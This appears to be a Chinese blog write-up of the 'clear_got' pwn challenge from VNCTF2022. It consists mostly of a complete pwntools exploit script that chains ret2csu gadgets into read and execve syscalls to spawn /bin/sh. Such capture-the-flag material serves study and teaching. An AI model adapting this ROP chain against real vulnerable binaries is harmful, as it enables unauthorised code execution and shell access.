VNCTF2022 pwn复现

最近博客调整好了,会优先在博客更新,这边不能用别的图床,以前的老文章没法更新了,新文章还是会同步
CyMの学习日志 - 狮子之心 (e4l4.com)

这个比赛之前因为一些事没复现完,有时间再复现

clear_got(ret2csu/ret2syscall read+execve一波流)

溢出空间足够大,且自带syscall不考虑泄露地址
csu这一段不同程序略有不同
这是这道题的↓

from pwn import *
# context.log_level = 'debug'
s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process('clear_got')
elf = ELF('clear_got')
# libc = ELF('./libc64.so')

payload = 'a'*0x68
payload += p64(0x4007EA)# gadget2
payload += p64(0xc01c8)
# 后边会call bx*8 0xc01c8*8=0x600e40 
# 里边存放的是init函数的地址0x400520(进行了一个rax是否为0的检测然后ret)dym段
# 同理也可以跳转到fini,0xc01ca*8=0x600e50 里面是0x400804(fini的地址)
payload += p64(0xc01c9)
payload += p64(0)
payload += p64(59)# sys_read执行完后会将读入的字节数存在rax中,59是execve
payload += p64(0x601060)# stdout 这里作一个输入区
payload += p64(0)
payload += p64(0x4007D0)# gadget1

payload += 'a'*8# 前面有个压低栈的行为,这里抬高,防止压低影响寄存器取值
payload += p64(0xc020d)
# 这里*8 = 0x601068 即stdout+8 
payload += p64(0xc020e)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0x601060)
payload += p64(0x40077e)# syscall->0->read
payload += p64(0x4007d0)# 再跑一次gadget1赋值
payload += 'e'*0x10# 填满补齐0x100
success("len:"+hex(len(payload)))
# gdb.attach(p)
p.send(payload)
payload = "/bin/sh\x00" + p64(0x40077e) + "\x00"*43 # sys_call->59->execve
p.sendline(payload)# sys_read
p.interactive()

你可能感兴趣的:(VNCTF2022 pwn复现)